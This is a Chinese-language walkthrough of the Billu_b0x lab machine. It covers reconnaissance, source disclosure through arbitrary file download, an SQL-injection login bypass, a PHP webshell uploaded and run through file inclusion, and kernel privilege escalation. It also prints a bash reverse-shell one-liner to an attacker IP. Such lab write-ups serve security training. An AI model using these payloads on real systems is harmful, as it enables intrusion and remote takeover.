Billu_b0x靶场复现
一、环境搭建
Win7攻击机IP地址:192.168.247.136
Billu_b0x靶机的IP地址:暂时未知
二、信息收集
1、使用Zenmap探测靶机地址
靶机的IP为192.168.247.137
2、扫描开放端口
开放了80,22端口
3、目录扫描
存在多个php文件(phpmy目录为自添加)
-
访问images目录
存在目录遍历漏洞,但都是图片,点开为web页面的背景图,没什么价值
-
访问phpmy目录
存在phpmyadmin
-
访问add.php
发现存在文件上传功能,使用bp抓取上传包发送,发现都回显表单内容,猜测可能功能不完善,只是前端界面
-
访问test.php
页面提示file参数不存在,通过测试,使用POST请求时可以读取文件,此页面存在任意文件下载
-
访问head.php
背景图文件
-
访问show.php和c.php均无回显,应该都为php后端源码信息
4、指纹识别
采用Apache服务器,php语言,Ubuntu操作系统
三、漏洞利用
1、首页尝试sql注入
在尝试万能密码payload:1 or 1=1 --+ 和 1' or 1=1 --+均显示Try again,sqlmap也无果
2、利用任意文件下载查看网站源码配置信息进行代码审计
index.php
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br>
<br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br>
<br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>
";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302); //登录成功后定向到panel页面
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
show.php
<?php
include('c.php');
if(isset($_POST['continue']))
{
$run='select * from users ';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>";
while($row = mysqli_fetch_assoc($result))
{
echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="https://www.freebuf.com/vuls/uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>';
}
echo "</table>";
}
}
?>
c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); //数据库的用户名和密码
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
综合来看,在index.php发现panel页面,c.php存在数据库的用户名和密码,show页面为展示,没什么价值
3、登录数据库
发现auth表中存在用户名和密码
4、登录web页面
有两个选项,分别用于展示和增加用户,再次通过test.php获取该页面源码
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>
';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
&nbsp<input type=submit name=continue value="continue"></form><br>
<br>
';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']); //存在文件包含漏洞
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])) //移动到uploaded_images/目录下
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>
i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>
only png,jpg and gif file are allowed";
}
}
}
?>
通过源码分析可知,当执行continue操作时,如果不是show和add的动作的话,则会将load参数传递的值进行包含,而在文件上传功能处定义了白名单,校验MIME类型,使用了move_uploaded_file将上传的文件移动到uploaded_images/目录下,那么很明显是通过文件上传php木马,然后通过文件包含进行php木马getshell
5、尝试getshell
-
上传php木马并修改后缀,以及Content-type
上传成功
-
抓取数据修改为木马路径
成功回显出写入木马的文件头
6、使用中国蚁剑连接
此处需配置cookie头,因为没有登录状态会重定向到登录页面
四、权限提升
1、bash反弹shell
-
通过中国蚁剑的终端进行bash反弹shell命令
bash -c '0<&212-;exec 212<>/dev/tcp/192.168.247.136/9988;sh <&212 >&212 2>&212'
-
本地配置nc监听9988端口,使用python配置交互shell
2、查看内核信息
3、通过exploit-database搜索exp
4、通过python开启简易http服务获取exp文件
5、编译c文件,执行exp
五、补充及总结
使用御剑是无法扫描出phpmy目录的,通过查阅资料发现kali的big.txt可以扫描出该目录;登录页面也可通过Username:‘ or 1=1#,Password:\进行绕过(还得练啊)
此次的打靶主要涉及的知识点有常规的信息收集(端口、目录、指纹)、php代码审计、文件上传配合文件包含的漏洞利用、bash反弹shell、内核提权等。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)